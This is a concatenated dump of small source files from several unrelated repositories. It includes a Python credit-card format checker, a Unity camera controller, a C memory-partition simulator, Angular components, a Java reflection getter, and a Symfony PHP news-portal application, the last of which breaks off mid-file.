// connect(this,Docker::dockerStopped,[=](){
// reply->abort();
// });
}
//返回当前的进度值
int Docker::get_curProgress(){
//qDebug()<<_curProgress;
return _curProgress;
}
Docker::~Docker(){
}
| 7d2fbd907dfe6ba86923b56981566866d9e5e137 | [
"C++"
] | 14 | C++ | meitotoro/batchODM | 5158b9630009f281620d594c084b6c456187912d | 296bd8f95afc99b42f1196bc9e0e72fd3e4044d1 |
refs/heads/master | <repo_name>pbatoon/credit<file_sep>/credit.py
import math
# Card Validation function
def card_validation(card_number):
card_type = "" # initialize card_type and valid variables
valid = False
num_digits = int(math.log10(card_number)+1) # fetch num of digits in card_number
if num_digits != 13 and num_digits != 15 and num_digits != 16: # if num of digits isn't valid, then set card_type to invalid
card_type = "INVALID\n"
str_cardnum = str(card_number)[::-1] # convert card_number to string and reverse it
index1_cardnum = str_cardnum[1:] # start reversed string at index 1
every_other = index1_cardnum[::2] # get every other digit in card number
digits = list(map(int,every_other)) # convert digits to int and and to array
n2_digits = [i * 2 for i in digits] # multiply every digit by 2
n2_sum = 0
n = 0
for i in range(len(n2_digits)): # if digits[i] has 2 digits then split digits into two different elements
if n2_digits[i] / 10 >= 1 and digits[i] != 0:
last_digit = n2_digits[i] % 10
n2_digits[i] = n2_digits[i] // 10
n2_digits.append(last_digit)
n2_sum = sum(n2_digits) # get sum of digits
n1_str = str_cardnum[::2] # now get digits that weren't used and add to array
n1_digits = list(map(int,n1_str))
n1_sum = sum(n1_digits) # get sum of n1 digits
n1_n2 = n1_sum + n2_sum # get sum of n1 and n2
if n1_n2 % 10 == 0: # if n1_n2 ends in 0 then the card is valid
valid = True
else:
card_type = "INVALID\n"
card_num = str(card_number)
if valid: # find card_type according to first two digits in card_number
if card_num[0:2] == "34" or card_num[0:2] == "37":
card_type = "AMEX\n"
elif card_num[0:2] == "51" or card_num[0:2] == "52" or card_num[0:2] == "53" or card_num[0:2] == "54" or card_num[0:2] == "55":
card_type = "MASTERCARD\n"
elif card_num[0] == "4":
card_type = "VISA\n"
else:
card_type = "INVALID\n"
return card_type
card_number = 0
while card_number <= 0:
card_number = int(input("What's your credit card number? "))
print(card_validation(card_number))
| fe21455a79bac5e4d2bbef88cedb1ab2622b9a98 | [
"Python"
] | 1 | Python | pbatoon/credit | 933732e0732f28e9a1c2e9033c4af1bff79f0183 | 28a18840c69981a80cb9357317a64de26ea6101d |
refs/heads/master | <repo_name>Physics-EA/Shader<file_sep>/README.md
# Shader
着色器
<file_sep>/Unity_Shaders_Book-master(2018.1.0b11)/Assets/Test/CameraControl.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CameraControl : MonoBehaviour
{
private float Speed = 3;
private Vector3 MouseDownPos;
void Update()
{
Vector3 Face = transform.rotation * Vector3.forward;
Face = Face.normalized;
Vector3 Left = transform.rotation * Vector3.left;
Left = Left.normalized;
Vector3 Right = transform.rotation * Vector3.right;
Right = Right.normalized;
if (Input.GetMouseButtonDown(1))
{
MouseDownPos = Input.mousePosition;
}
if (Input.GetMouseButton(0))
{
//Vector处理
Vector3 Save = Input.mousePosition;
Vector3 MovePos = Save - MouseDownPos;
MovePos = MovePos.normalized;
Vector3 _Rot = transform.rotation.eulerAngles;
_Rot.x -= MovePos.y * 2;
_Rot.y += MovePos.x * 2;
_Rot.z += MovePos.z * 2;
transform.eulerAngles = _Rot;
Debug.Log(MovePos);
MouseDownPos = Save;
//Quaternion处理
//Vector3 Save = Input.mousePosition;
//Vector3 MovePos = Save - MouseDownPos;
//MovePos = MovePos.normalized;
//Vector3 _Rot = transform.rotation.eulerAngles;
//_Rot.x -= MovePos.y * 2;
//_Rot.y += MovePos.x * 2;
//_Rot.z += MovePos.z * 2;
//Quaternion MoveRot = Quaternion.Euler(_Rot);
//transform.rotation = Quaternion.Slerp(transform.rotation, MoveRot, Time.deltaTime * 30);
//MouseDownPos = Save;
}
if (Input.GetKey("w"))
{
transform.position += Face * Speed * Time.deltaTime;
}
if (Input.GetKey("a"))
{
transform.position += Left * Speed * Time.deltaTime;
}
if (Input.GetKey("d"))
{
transform.position += Right * Speed * Time.deltaTime;
}
if (Input.GetKey("s"))
{
transform.position -= Face * Speed * Time.deltaTime;
}
if (Input.GetKey("q"))
{
transform.position -= Vector3.up * Speed * Time.deltaTime;
}
if (Input.GetKey("e"))
{
transform.position += Vector3.up * Speed * Time.deltaTime;
}
}
}
| 9d22014a0c95a82b55732b51017a707a1b4733f4 | [
"Markdown",
"C#"
] | 2 | Markdown | Physics-EA/Shader | d5652cd04e6deb166567f40aa4c95360d41ec4b1 | 110fca5f6e79a1b37727076e573ece8aacb55c65 |
refs/heads/master | <file_sep>import { Component, OnInit } from '@angular/core';
@Component({
selector: 'app-policy-register',
templateUrl: './policy-register.component.html',
styleUrls: ['./policy-register.component.css']
})
export class PolicyRegisterComponent implements OnInit {
Pname:String;
Cname:String;
constructor() { }
PolicyRegister(){
console.log(this.Pname +" and "+this.Cname);
}
ngOnInit() {
}
}
<file_sep>import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { NavBarWelcomeComponent } from './nav-bar-welcome/nav-bar-welcome.component';
import { WelcomePicComponent } from './welcome-pic/welcome-pic.component';
import { WelcomePoliciesComponent } from './welcome-policies/welcome-policies.component';
import { UserRegisterComponent } from './user-register/user-register.component';
import { RouterModule } from '@angular/router';
import { WelcomeComponent } from './welcome/welcome.component';
import { UserSignInPageComponent } from './user-sign-in-page/user-sign-in-page.component';
import { UserInterfaceComponent } from './user-interface/user-interface.component';
import { PolicyRegisterComponent } from './policy-register/policy-register.component';
import { AdminDashBoardComponent } from './admin-dash-board/admin-dash-board.component';
import { EditPolicyComponent } from './edit-policy/edit-policy.component';
import { PaymentPageComponent } from './payment-page/payment-page.component';
@NgModule({
declarations: [
AppComponent,
NavBarWelcomeComponent,
WelcomePicComponent,
WelcomePoliciesComponent,
UserRegisterComponent,
WelcomeComponent,
UserSignInPageComponent,
UserInterfaceComponent,
PolicyRegisterComponent,
AdminDashBoardComponent,
EditPolicyComponent,
PaymentPageComponent
],
imports: [
BrowserModule,
AppRoutingModule,
FormsModule,
RouterModule.forRoot([
{path:'Welcome' , component:WelcomeComponent},
{path:'', redirectTo:'welcome' ,pathMatch:'full'},
{path:'UserRegister',component:UserRegisterComponent},
{path:'Signin',component:UserSignInPageComponent},
{path:'Uinter',component:UserInterfaceComponent},
{path:'PolicyRegister' ,component:PolicyRegisterComponent},
{path:'AdminDash',component:AdminDashBoardComponent},
{path:'EditPolicy',component:EditPolicyComponent},
{path:'Payment',component:PaymentPageComponent}
])
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>import { Component, OnInit } from '@angular/core';
@Component({
selector: 'app-user-register',
templateUrl: './user-register.component.html',
styleUrls: ['./user-register.component.css']
})
export class UserRegisterComponent implements OnInit {
constructor() { }
first:string;
last:String;
Male:String;
Female:String;
Validation(){
console.log(this.first);
//console.log(this.FirstName +" " +this.LastName);
console.log(this.Male);
console.log(this.Female);
}
ngOnInit() {
}
}
<file_sep>import { Component, OnInit, AfterViewInit } from '@angular/core';
declare var $:any;
@Component({
selector: 'app-welcome-pic',
templateUrl: './welcome-pic.component.html',
styleUrls: ['./welcome-pic.component.css']
})
export class WelcomePicComponent implements OnInit,AfterViewInit {
constructor() { }
ngOnInit() {
}
ngAfterViewInit(){
}
}
| 5555ae8c944bf691b5542d70ca1d817b9c254879 | [
"TypeScript"
] | 4 | TypeScript | Gowthamsasikala/gow | 2e8f038e187e632ad0386c6a367cb3aad0691dbe | 52f5c83ac8433f597faa51a938c4cffc6fdc7535 |
refs/heads/master | <repo_name>nusmanov/easy-fitnesse<file_sep>/src/main/java/Getter.java
import java.lang.reflect.Field;
import java.sql.Struct;
/**
* Created by nodirbek on 14.03.2017.
*/
public class Getter {
public static final String NULL_VALUE_DEFAULT = "null";
public static final String ERROR_MESSAGE_NO_SUCH_FIELD = "NoSuchFieldException: the class doesn't have a field of a specified name";
private String nullValue;
public Getter() {
nullValue = NULL_VALUE_DEFAULT;
}
public Getter(String nullValue) {
this.nullValue = nullValue;
}
/**
* Get the field value via reflection and return as String
*
* @param object object
* @param fieldName the name of the field of the given object
* @return Return the field value via reflection and return as String
*/
public String get(Object object, String fieldName) throws IllegalAccessException {
if (object == null) {
return nullValue;
}
Field field;
try {
field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException e){
return ERROR_MESSAGE_NO_SUCH_FIELD;
}
Object value = field.get(object);
if (value == null){
return nullValue;
}
return value.toString();
}
/**
* @return returns the null value
*/
public String getNullValue() {
return nullValue;
}
}
| c94666fccadb8746f34f1e07970d42aea2f627b8 | [
"Java"
] | 1 | Java | nusmanov/easy-fitnesse | d80240afe08764def62b696186f7b1749af65470 | 51a4f3264c589d0062e91fe5b9775c646601a240 |
refs/heads/master | <file_sep>//Memory-Management-Simulator---First-Fit-Algorithm
//Simulator for the memory management portion of an operating system with fixed partition scheme using first-fit algorithm
/*
Memory: 32 KB
Scheme: Fixed
Algorithm: First-Fit
No. of Partitions:
Partition 1: 4 KB
Partition 1: 4 KB
Partition 1: 8 KB
Partition 1: 16 KB
*/
#include <stdio.h>
int main(void){
int SIZE = 100;
int total_time_m3p2 = 0;
int m3p2_exe = 0;
int m3p2_not_exe = 0;
int jobs[SIZE][2];
int i, j;
for(i = 0; i < SIZE; i++){
jobs[i][0] = rand()%15+2;
jobs[i][1] = rand()%20+1;
}
int m3p2[4][2];
m3p2[0][0] = 0;
m3p2[0][1] = 4;
m3p2[1][0] = 0;
m3p2[1][1] = 4;
m3p2[2][0] = 0;
m3p2[2][1] = 8;
m3p2[3][0] = 0;
m3p2[3][1] = 16;
int k;
for(i = 0; i < SIZE; i++){
if(jobs[i][1] > 16){
m3p2_not_exe++;
}
else if(jobs[i][1] > 8 && jobs[i][1] <= 16){
m3p2[3][0] = jobs[i][0];
m3p2_exe++;
total_time_m3p2 += jobs[i][0];
}
else if(jobs[i][1] > 4 && jobs[i][1] <= 8){
if(m3p2[2][0] <= m3p2[3][0]){
m3p2[2][0] = jobs[i][0];
m3p2_exe++;
total_time_m3p2 += jobs[i][0];
}
else{
m3p2[3][0] = jobs[i][0];
m3p2_exe++;
total_time_m3p2 += jobs[i][0];
}
}
else{
k = small(m3p2[0][0], m3p2[1][0], m3p2[2][0], m3p2[3][0]);
m3p2[k][0] = jobs[i][0];
m3p2_exe++;
total_time_m3p2 += jobs[i][0];
}
}
printf("Number of jobs executed: %d\n", m3p2_exe);
printf("Number of jobs not executed: %d\n", m3p2_not_exe);
printf("Total time of execution: %d\n", total_time_m3p2);
return 0;
}
int small(int a, int b, int c, int d){
int arr[4];
arr[0] = a;
arr[1] = b;
arr[2] = c;
arr[3] = d;
int temp = 0;
int i, j;
for(i = 0; i < 4; i++){
for(j = 0; j < 3; j++){
if(arr[j] > arr[j+1]){
temp = arr[j];
arr[j] = arr[j+1];
arr[j+1] = temp;
}
}
}
if(arr[0] == a){
return 0;
}
else if(arr[0] == b){
return 1;
}
else if(arr[0] == c){
return 2;
}
else if(arr[0] == d){
return 3;
}
}
| bd463e4b4caad25223ec15c6126c5daebf015657 | [
"C"
] | 1 | C | komrong/Memory-Management-Simulator---First-Fit-Algorithm | 15be29e54a50cfc5e11f365b673b2d4daf6dbb7d | d0fb8618b50b83d83cc37ea93f16690d50d8950d |
refs/heads/master | <repo_name>AntinDehoda/news_portal<file_sep>/src/Repository/Post/PostRepository.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Repository\Post;
use App\Entity\Post;
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
use Doctrine\ORM\NonUniqueResultException;
use Doctrine\ORM\EntityNotFoundException;
use Symfony\Bridge\Doctrine\RegistryInterface;
use App\Model\Category;
/**
* @method null|Post find($id, $lockMode = null, $lockVersion = null)
* @method null|Post findOneBy(array $criteria, array $orderBy = null)
* @method Post[] findAll()
* @method Post[] findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null)
*/
class PostRepository extends ServiceEntityRepository implements PostRepositoryInterface
{
public function __construct(RegistryInterface $registry)
{
parent::__construct($registry, Post::class);
}
public function findById(int $id): ?Post
{
try {
return $this->createQueryBuilder('p')
->where('p.id = :id')
->setParameter('id', $id)
->andWhere('p.publicationDate IS NOT NULL')
->innerJoin('p.category', 'c')
->addSelect('c')
->getQuery()
->getOneOrNullResult()
;
} catch (NonUniqueResultException $e) {
return null;
}
}
public function getPostsByCategory(Category $category): ?array
{
try {
$entity = $this->createQueryBuilder('p')
->where('p.category = :id')
->setParameter('id', $category->getId())
->andWhere('p.publicationDate IS NOT NULL')
->getQuery()
->getResult();
return $entity;
} catch (EntityNotFoundException $e) {
return null;
}
}
public function save(Post $post): void
{
$em = $this->getEntityManager();
$em->persist($post);
$em->flush();
}
public function update(): void
{
$em = $this->getEntityManager();
$em->flush();
}
}
<file_sep>/src/Service/PostPage/Management/PostManagementServiceInterface.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service\PostPage\Management;
use App\Form\Dto\PostCreateDto;
interface PostManagementServiceInterface
{
public function create(PostCreateDto $dto): void;
public function update(PostCreateDto $dto, int $id): void;
public function getPost(int $id): PostCreateDto;
}
<file_sep>/src/Service/PostPage/FakePostService.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service\PostPage;
use App\Collection\PostCollection;
use App\Model\Category;
use App\Model\Post;
use Faker\Factory;
/**
* This class generates fake post information based on post id for a single-post page.
*
* @author <NAME> <<EMAIL>>
*/
class FakePostService implements PostServiceInterface
{
public function getPost(int $id): Post
{
$faker = Factory::create();
$post = new Post(
$id,
new Category($faker->word),
$faker->sentence
);
$post
->setImage($faker->imageUrl())
->setShortDescription($faker->sentence())
->setPublicationDate($faker->dateTime)
->setPostBody($faker->text)
;
return $post;
}
public function findById(int $id): ?Post
{
// TODO: Implement findById() method.
return null;
}
public function getPostsByCategory(Category $category): ?PostCollection
{
// TODO: Implement getPostsByCategory() method.
}
}
<file_sep>/src/DataFixtures/PostFixtures.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\DataFixtures;
use Doctrine\Common\DataFixtures\DependentFixtureInterface;
use Doctrine\Common\Persistence\ObjectManager;
use App\Entity\Post;
class PostFixtures extends AbstractFixtures implements DependentFixtureInterface
{
public function load(ObjectManager $manager)
{
for ($i = 0; $i < 20; $i++) {
$post = new Post($this->faker->sentence);
$post
->setShortDescription($this->faker->sentence(3, true))
->setImage($this->faker->ImageURL())
->setPostbody($this->faker->sentence(10, true))
->setCategory($this->getReference('category_' . \mt_rand(0, 3)))
->setPostbody($this->faker->sentence(10, true))
;
if ($this->faker->boolean(80)) {
$post->publish();
}
$this->addReference('post' . $i, $post);
$manager->persist($post);
}
$manager->flush();
}
public function getDependencies()
{
return [
CategoryFixtures::class,
];
}
}
<file_sep>/src/Service/FileUploader.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service;
use Gedmo\Sluggable\Util\Urlizer;
use Symfony\Component\HttpFoundation\File\UploadedFile;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
final class FileUploader
{
private $uploadsPath;
private $params;
public function __construct(string $uploadsPath, ParameterBagInterface $params)
{
$this->uploadsPath = $uploadsPath;
$this->params = $params;
}
public function uploadPostImage(UploadedFile $uploadedFile): string
{
return $this->upload($uploadedFile, $this->params->get('app.post_image_uploads'));
}
private function upload(UploadedFile $uploadedFile, string $uploadToDir): string
{
$destination = $this->uploadsPath . $uploadToDir;
$originalFilename = \pathinfo($uploadedFile->getClientOriginalName(), \PATHINFO_FILENAME);
$newFileName = Urlizer::urlize($originalFilename) . '-' . \uniqid() . '.' . $uploadedFile->guessExtension();
$uploadedFile->move(
$destination,
$newFileName
);
return $newFileName;
}
}
<file_sep>/src/Controller/PostController.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Controller;
use App\Model\Category;
use App\Service\PostPage\PostServiceInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
/**
* Controller to display post data in the single-post page
*
* @param PostServiceInterface $postService
* @param int $id
*
* @return Response
*
* @author <NAME> <<EMAIL>>
*/
class PostController extends AbstractController
{
public function index(PostServiceInterface $postService, int $id): Response
{
$post = $postService->findById($id);
if (null == $post) {
throw $this->createNotFoundException('There is no post with id=' . $id);
}
return $this->render('post/index.html.twig', [
'post' => $post,
]);
}
public function postsFromCategory(PostServiceInterface $postService, Category $category)
{
$posts = $postService->getPostsByCategory($category);
return $this->render('category/index.html.twig', [
'posts' => $posts,
'category' => $category,
]);
}
}
<file_sep>/src/Service/HomePage/FakeHomePageService.php
<?php
declare(strict_types=1);
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service\HomePage;
use App\Collection\PostCollection;
use App\Model\Category;
use App\Model\Post;
use Faker\Factory;
/**
* This class generates fake posts information for a home-page.
*
* @author <NAME> <<EMAIL>>
*/
final class FakeHomePageService implements HomePageServiceInterface
{
private $faker;
public function __construct()
{
$this->faker = Factory::create();
}
/** Generate info for bottom posts */
public function getPosts(): PostCollection
{
$collection = new PostCollection();
for ($i = 0; $i < 10; $i++) {
$collection->addPost($this->generatePost());
}
return $collection;
}
/** Generate info for top-posts */
public function getTopPosts(): PostCollection
{
$collection = new PostCollection();
for ($i = 0; $i < 3; $i++) {
$collection->addPost($this->generatePost());
}
return $collection;
}
/** Generate info for main post */
public function getMainPost(): Post
{
return $this->generatePost();
}
/** Generate info for one post */
private function generatePost(): Post
{
$post = new Post(
$this->faker->randomNumber(),
new Category($this->faker->randomNumber(), $this->faker->sentence, $this->faker->sentence),
$this->faker->sentence
);
$post
->setImage($this->faker->imageUrl())
->setShortDescription($this->faker->sentence())
->setPublicationDate($this->faker->dateTime)
;
return $post;
}
}
<file_sep>/src/Command/CreateUserCommand.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Command;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
final class CreateUserCommand extends Command
{
protected function configure()
{
$this
->setName('app:create-user');
}
protected function execute(InputInterface $input, OutputInterface $output)
{
$output->writeln('Start...');
}
}
<file_sep>/src/Repository/Post/PostRepositoryInterface.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Repository\Post;
use App\Model\Category;
use App\Entity\Post;
interface PostRepositoryInterface
{
public function findById(int $id): ?Post;
public function getPostsByCategory(Category $category): ?array;
public function save(Post $post): void;
public function update(): void;
}
<file_sep>/src/Repository/Category/CategoryRepository.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Repository\Category;
use App\Entity\Category;
use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
use Doctrine\ORM\NonUniqueResultException;
use Symfony\Bridge\Doctrine\RegistryInterface;
/**
* @method null|Category find($id, $lockMode = null, $lockVersion = null)
* @method null|Category findOneBy(array $criteria, array $orderBy = null)
* @method Category[] findAll()
* @method Category[] findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null)
*/
class CategoryRepository extends ServiceEntityRepository implements CategoryRepositoryInterface
{
public function __construct(RegistryInterface $registry)
{
parent::__construct($registry, Category::class);
}
public function getCategory(string $slug): ?Category
{
try {
$entity = $this->createQueryBuilder('c')
->where('c.slug = :slug')
->setParameter('slug', $slug)
->getQuery()
->getOneOrNullResult();
return $entity;
} catch (NonUniqueResultException $e) {
return null;
}
}
}
<file_sep>/src/Model/Post.php
<?php
declare(strict_types=1);
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Model;
final class Post
{
private $id;
private $category;
private $title;
private $shortDescription;
private $image;
private $publicationDate;
private $postBody;
public function getPostBody(): ?string
{
return $this->postBody;
}
public function setTitle(string $title): self
{
$this->title = $title;
return $this;
}
public function setPostBody(string $postBody): self
{
$this->postBody = $postBody;
return $this;
}
public function setCategory(?Category $category): self
{
$this->category = $category;
return $this;
}
public function __construct(int $id, Category $category, string $title)
{
$this->id = $id;
$this->category = $category;
$this->title = $title;
}
public function getId(): int
{
return $this->id;
}
public function getCategory(): Category
{
return $this->category;
}
public function getTitle(): string
{
return $this->title;
}
public function getShortDescription(): ?string
{
return $this->shortDescription;
}
public function setShortDescription(?string $description): self
{
$this->shortDescription = $description;
return $this;
}
public function getImage(): ?string
{
return $this->image;
}
public function setImage(?string $image): self
{
$this->image = $image;
return $this;
}
public function getPublicationDate(): \DateTimeInterface
{
return $this->publicationDate;
}
public function setPublicationDate(\DateTimeInterface $date): self
{
$this->publicationDate = $date;
return $this;
}
}
<file_sep>/src/Service/HomePage/HomePageServiceInterface.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service\HomePage;
use App\Collection\PostCollection;
use App\Model\Post;
/**
* Interface for retrieving posts data for a home-page.
*
* @author <NAME> <<EMAIL>>
*/
interface HomePageServiceInterface
{
public function getPosts(): PostCollection;
public function getMainPost(): Post;
public function getTopPosts(): PostCollection;
}
<file_sep>/src/DataFixtures/CategoryFixtures.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\DataFixtures;
use Doctrine\Bundle\FixturesBundle\Fixture;
use Doctrine\Common\Persistence\ObjectManager;
use App\Entity\Category;
class CategoryFixtures extends Fixture
{
public const CATEGORIES = [
'World',
'Sport',
'IT',
'Science',
];
public function load(ObjectManager $manager)
{
foreach (self::CATEGORIES as $key => $title) {
$category = new Category($title);
$category->setTitle($title);
$this->addReference('category_' . $key, $category);
for ($i = 0; $i < 20; $i++) {
if ($this->hasReference('post' . $i)) {
$category = $category->addPost($this->getReference('post' . $i));
}
}
$manager->persist($category);
}
$manager->flush();
}
public function getDependencies()
{
return [
PostFixtures::class,
];
}
}
<file_sep>/src/Service/PostPage/Management/PostManagementService.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service\PostPage\Management;
use App\Form\Dto\PostCreateDto;
use App\Mappers\PostMapper;
use App\Repository\Post\PostRepositoryInterface;
use Symfony\Component\HttpFoundation\File\UploadedFile;
use App\Service\FileUploader;
class PostManagementService implements PostManagementServiceInterface
{
private $postRepository;
private $uploaderHelper;
public function __construct(PostRepositoryInterface $postRepository, FileUploader $uploaderHelper)
{
$this->postRepository = $postRepository;
$this->uploaderHelper = $uploaderHelper;
}
public function create(PostCreateDto $dto): void
{
/** @var UploadedFile $uploadedFile */
$uploadedFile = $dto->imageFile;
if ($uploadedFile) {
$dto->image = $this->uploaderHelper->uploadPostImage($uploadedFile);
}
$post = PostMapper::dtoToEntity($dto);
$post->publish();
$this->postRepository->save($post);
}
public function update(PostCreateDto $dto, int $id): void
{
/** @var UploadedFile $uploadedFile */
$uploadedFile = $dto->imageFile;
if ($uploadedFile) {
$dto->image = $this->uploaderHelper->uploadPostImage($uploadedFile);
}
$post = $this->postRepository->findById($id);
$post = PostMapper::updateEntity($dto, $post);
$post->publish();
$this->postRepository->update();
}
public function getPost(int $id): PostCreateDto
{
$post = $this->postRepository->findById($id);
$dto = PostMapper::entityToDto($post);
return $dto;
}
}
<file_sep>/config/bundles.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
return [
Symfony\Bundle\FrameworkBundle\FrameworkBundle::class => ['all' => true],
Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
Symfony\Bundle\WebProfilerBundle\WebProfilerBundle::class => ['dev' => true, 'test' => true],
Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
Symfony\Bundle\DebugBundle\DebugBundle::class => ['dev' => true, 'test' => true],
Doctrine\Bundle\DoctrineCacheBundle\DoctrineCacheBundle::class => ['all' => true],
Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle::class => ['all' => true],
Symfony\Bundle\MakerBundle\MakerBundle::class => ['dev' => true],
Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle::class => ['dev' => true, 'test' => true],
Stof\DoctrineExtensionsBundle\StofDoctrineExtensionsBundle::class => ['all' => true],
Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true],
];
<file_sep>/src/Controller/CategoryController.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Controller;
use App\Service\CategoryPage\CategoryServiceInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
class CategoryController extends AbstractController
{
public function index(CategoryServiceInterface $categoryService, string $slug): Response
{
$category = $categoryService->getCategoryBySlug($slug);
if (null == $category) {
throw $this->createNotFoundException('There is no post in category with slug=' . $slug);
}
return $this->forward('App\Controller\PostController::postsFromCategory', [
'category' => $category,
]);
}
}
<file_sep>/src/Service/CategoryPage/CategoryService.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Service\CategoryPage;
use App\Mappers\CategoryMapper;
use App\Model\Category;
use App\Repository\Category\CategoryRepositoryInterface;
class CategoryService implements CategoryServiceInterface
{
private $categoryRepository;
public function __construct(CategoryRepositoryInterface $categoryRepository)
{
$this->categoryRepository = $categoryRepository;
}
public function getCategoryBySlug(string $slug): ?Category
{
$entity = $this->categoryRepository->getCategory($slug);
if (null == $entity) {
return null;
}
$model = CategoryMapper::entityToModel($entity);
return $model;
}
}
<file_sep>/src/Form/Dto/PostCreateDto.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Form\Dto;
use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Component\HttpFoundation\File\UploadedFile;
final class PostCreateDto
{
/**
* @Assert\NotBlank
* @Assert\NotNull
*/
public $title;
/**
* @Assert\NotNull
*/
public $postBody;
/**
* @Assert\NotNull
*/
public $shortDescription;
public $image;
public $category;
public $publicationDate;
/** @var UploadedFile $imageFile */
public $imageFile;
}
<file_sep>/src/Controller/Admin/PostController.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Controller\Admin;
use App\Form\PostEditType;
use App\Form\PostCreateType;
use App\Service\PostPage\Management\PostManagementServiceInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
final class PostController extends AbstractController
{
public function create(Request $request, PostManagementServiceInterface $postManagement)
{
$form = $this->createForm(PostCreateType::class);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$postManagement->create($form->getData());
$this->addFlash('success', 'Post was successfully created!');
return $this->redirectToRoute('admin_post_create');
}
return $this->render('admin/post/create.html.twig', [
'form' => $form->createView(),
]);
}
public function edit(Request $request, PostManagementServiceInterface $postManagement, int $id)
{
$dto = $postManagement->getPost($id);
$form = $this->createForm(PostEditType::class, $dto);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$postManagement->update($form->getData(), $id);
$this->addFlash('success', 'Post was successfully updated!');
return $this->redirectToRoute('admin_post_edit', [
'id' => $id,
]);
}
return $this->render('admin/post/edit.html.twig', [
'postEditForm' => $form->createView(),
]);
}
}
<file_sep>/src/Collection/PostCollection.php
<?php
declare(strict_types=1);
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Collection;
use App\Model\Post;
final class PostCollection implements \IteratorAggregate
{
private $posts;
public function __construct(Post ...$posts)
{
$this->posts = $posts;
}
public function addPost(Post $post): void
{
$this->posts[] = $post;
}
public function getIterator(): iterable
{
return new \ArrayIterator($this->posts);
}
}
<file_sep>/src/Mappers/PostMapper.php
<?php
/*
*
* (c) <NAME> <<EMAIL>>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace App\Mappers;
use App\Entity\Post;
use App\Form\Dto\PostCreateDto;
use App\Model\Category;
use App\Model\Post as PostModel;
class PostMapper
{
public static function entityToModel(Post $entity): PostModel
{
$model = new PostModel(
$entity->getId(),
new Category(
$entity->getCategory()->getId(),
$entity->getCategory()->getTitle(),
$entity->getCategory()->getSlug()
),
$entity->getTitle()
);
$model
->setImage($entity->getImage())
->setShortDescription($entity->getShortDescription())
->setPublicationDate($entity->getPublicationDate())
